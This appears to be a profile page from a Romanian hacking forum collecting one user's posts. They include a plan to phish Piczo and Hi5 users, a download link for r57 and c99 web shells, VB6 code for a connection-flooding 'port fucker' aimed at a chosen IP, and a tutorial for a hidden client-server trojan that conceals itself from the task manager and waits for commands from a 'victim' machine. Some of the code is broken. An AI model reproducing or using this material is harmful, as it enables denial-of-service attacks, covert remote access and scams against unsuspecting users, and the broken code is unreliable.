Jump to content

s3rpico

Members
 View Profile  See their activity

  • Posts

    29

  • Joined

  • Last visited

    Never

 Content Type 

Posts posted by s3rpico

  4. Scamuri Piczo si Hi5 ?

    in Off-topic

    Posted

    M`am gandit sa fac in vacantza asta mica ... care vine peste vreo 4 saptamani :D .... scam pot piczo si hi5 ... daca e le fac in romana ... romanii`s prosti ... pun botu ....vreau niste pareri ... vreau sa termin cu hi5 si piczo ... i hate them

  5. [-Shells-]

    in Exploituri

    Posted

    Poate nus chiar noi ... da sunt folositoare ;) .... r57shell si c99shell ... ce rpd spargeam yo cu nos evoneturiile cu r57 :)) ....

    Download :


    [url]http://rapidshare.ro/download.php?id=oFXvrarmsZoYnVex6WAV[/url]

    Parola :


    rst

  7. [VB6] Iti Afiseaza Propiul IP

    in Programare

    Posted

    Deci .... In primu rand ... pentru a creea un program care iti afiseaza propiul ip avem nevoie de :

    - Control Microsoft Winsock Control 6.0 (mswinsck.ocx Project -> Components) pus pe forma cu numele sock

    Codul Form Loadului sa fie urmatorul :


    Private sub form_load()
    me.visible = false
    app.taskvisible = false
    MsgBox "Your IP Is : " + sock.localip,vbInformation

    Have fun !

  8. [VB6] Port Fucker Example

    in Programare

    Posted

    Pentru a creea un mic sau mare port fucker in Visual Basic 6 Vom Avea nevoie de :

    - 2 Textboxuri (ip.text si port.text)

    - 2 Butoane (cmdStart si cmdStop)

    - Control Microsoft Winsock Control 6.0 (mswinsck.ocx Project -> Components)

    - 5 (Sau mai multe Winsockuri pe Forma)

    - 1 Timer pus pe intervalul 1 (Numele lui sa fie action) si care sa fie disabled

    In Urmatorul Exemplu vom folosi numai 5 Winsockuri (sock1 , sock2 , sock3 , sock4 , sock5)

    Codul butonului De Start :


    action.enabled = true

    Codul Butonului de Stop :


    action.enabled = false

    Codul Timerului Action :


    For i = 0 to 150 'Reconnecteaza de 150 de ori Winsockuriile
    'Sock 1
    sock1.close
    sock1.RemoteHost = ip.text
    sock1.RemotePort = port.text
    sock1.Connect
    sock1.close

    'Sock 2
    sock2.close
    sock2.RemoteHost = ip.text
    sock2.RemotePort = port.text
    sock2.Connect
    sock2.close

    'Sock 3
    sock3.close
    sock3.RemoteHost = ip.text
    sock3.RemotePort = port.text
    sock3.Connect
    sock3.close

    'Sock 4
    sock4.close
    sock4.RemoteHost = ip.text
    sock4.RemotePort = port.text
    sock4.Connect
    sock4.close

    'Sock 5
    sock5.close
    sock5.RemoteHost = ip.text
    sock5.RemotePort = port.text
    sock5.Connect
    sock5.close
    next i

    Thats all, m8s ..... have fun !

  12. [VB6] Restart,Shutdown,Logoff Windows

    in Programare

    Posted

    Deci Pentru a Da Restart,shutdown,logoff la windows va puteti folosi de shutdown.exe din system32

    Cod pentru Shutdown :


    Shell "shutdown.exe -s"

    Cod Pentru Restart :


    Shell "shutdown.exe -r"

    Cod Pentru Logoff :


    Shell "Shutdown.exe -l"

    Cod Pentru Abort :


    Shell "Shutdown.exe -a"

    ATENTIE : Codul De Abort Nu Functioneaza la Logoff.Astea sunt mici Comenzi

    Parametri :

    -a = Abort

    -s = Shutdown

    -l = LogOff

    -r = Restart

    Have Fun !

  13. [VB6] [WIN] A Simple Client + Server Trojan

    in Programare

    Posted

    Probabil ca multi dintre voi de mult va doriti sa creeati propiul Client + Server Trojan a.k.a R.A.T (Remote Administration Tool).

    Pentru inceput avem nevoie de VB6 ( Visual Basic 6 ), In Titlul Subiectului am mentionat.

    Client :

    1.Deschidem Visual Basic

    2.Deschidem un Nou Standard project

    Acum Vom Avea Nevoie de componenta Microsoft Winsock Control 6.0 (mswinsck.ocx) Pe care o veti gasi Sus la -> Project -> Components.Dupa ce am bagat Componenta(Controlul) Mswinsck.ocx o adaugam In Forma.In Forma Componenta sa aiba numele Sock (normal ar trebui sa aiba winsock1).

    Acum Avem Nevoie de 2 Butoane, Un buton numit connect iar celalalt data.Cu Butonul Connect Ne Vom Connecta in Computerul Victimei.Iar cu Butonul Data vom trimite Date spre computerul victimei astfel serverul executand o anumita comanda.

    Mai Avem nevoie de 1 Text Numit victim.Textul numit Victim va fi ip-ul Victimei la care vrem sa ne connectam.

    Codul Butonului Connect sa fie Cam asa :


    Private sub connect_click()
    sock.close
    sock.RemoteHost = victim.text
    sock.RemotePort = "8025"
    sock.connect

    Acum sa va explic :

    sock.close - Ca sa nu primim Errori in timp ce ne connectam va trebui sa introducem acest cod in butonul De Connectare.De ce ? Pentru ca daca suntem deja connectati si codul sock.close nu este pus in buton va da o eroare pentru ca nu se poate connecta din nou daca este connectat deja.

    Acum Vom Trece la butonul Data, Codul lui ar trebui sa arate cam asa :


    sock.SendData "error" 'Trimite Data Error, in server vom adauga actiunea ei.

    Comanda Este Foarte Simpla, Deoarece Acesta este Clientul cu care ne connectam la victima.

    Cu Serverul am terminat,Acum vom Trece la Server (Partea cea mai dificila).

    Acum Stiti ce sa faceti ... Porniti Visual Basic, un proiect standard, Adaugati componenta mswinsck.ocx de la Project -> Components, Apoi o adaugam pe forma (tot cu numele sock).

    Acum, Pentru ca serverul sa nu fie Depistat Va Trebui sa il faceti INVIZIBIL Invizibil si in task manager, si forma / formele.

    In Form Load Va trebui inserat urmatorul cod :


    Private sub Form_load()
    app.taskvisible = false 'Aceasta comanda va Face Programul invizibil in Task Manager
    me.invisible = false 'Aceasta comanda va Face forma invizibila
    sock.close 'Aceasta Comanda Va Inchide Connexiunea daca exista deja
    sock.localport = "8025" 'Acesta Este Portul pe care Serverul va asculta
    sock.listen 'Aceasta este Comanda Cu Care Serverul Va Asculta
    End Sub

    Daca acum va ganditi ca am terminat cu Serverul va imaginati :).Acum mai sunt Cateva chestii de Facut, In legatura cu DataArrival,ConnectionRequest Ale Winsockului.

    Acu va trebui sa ne ocupam de DataArrival.Cu Ajutorul DataArrivalului Datele trimise Cu SendData din client vor fi urmate de anumite actiuni

    Codul Pentru DataArrival Este Urmatorul :


    Private Sub sock_DataArrival(ByVal bytesTotal As Long)
    Dim Data As String
    If Data = "error" Then 'Daca Data Primita este error ea va fi urmata de :
    MsgBox "This Is an error, lol",vbInformation 'Acest Msgbox
    End If

    Acum Vom Trece la Connection Request, Pasul in care Clientul Il intreaba pe server daca ii da voie inauntru :P.Il puneti la fel.... In codul formei


    Private Sub sock_ConnectionRequest(ByVal requestID As Long)
    sock.Close 'Inchide Connexiunea daca exista deja
    sock.Accept requestID 'Accepta Clientul
    End Sub

    Mai puteti adauga Chestii, logic ca puteti :D, Nu ma intrebati cum, se vede cum .... Puteti Da Tutorialul Mai Departe, Pe forumuri etc. Da dati Credite Autorului ....

    Credite :


    s3rpico @ darksouls.1gb.at/forum

    Tutorialu e scris de mine personal.Have Phun !

  14. Copy

    in Programare

    Posted

    avkhackteam : Nice, Eu stiam o metoda putin mai grea

    Icarius : Nu e un modul :) Uite Codul :


    Private Sub Form_Load()
    Me.Visible = False
    end sub

    Si ca sa il faci invizibil in Task manager :


    app.taskvisible = false

×
×
  • Create New...